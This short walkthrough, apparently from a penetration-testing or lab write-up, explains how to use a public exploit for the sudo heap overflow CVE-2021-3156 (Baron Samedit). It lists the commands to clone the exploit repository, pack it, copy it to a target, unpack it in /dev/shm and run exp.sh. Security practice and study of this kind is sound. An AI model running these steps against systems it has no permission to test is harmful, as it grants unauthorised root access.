In January 2021 Qualys released a blog post CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) detailing a vulnerability that has existed in
sudo for over a decade.
git clone email@example.com:lockedbyte/CVE-Exploits.git
This repo contains a few different exploits, we only care about the contents of
CVE-2021-3156. The quickest way to get this to our target is to compress the directory
tar -cvzf exploit.tgz CVE-2021-3156
Once compressed use your preferred method to copy
exploit.tgz to your target. Once copied over & extract into either
/dev/shm which should be writable by any user.
tar -zxvf exploit.tgz
Once extracted change into the directory and run the
cd CVE-2021-3156 chmod +x ./exp.sh ./exp.sh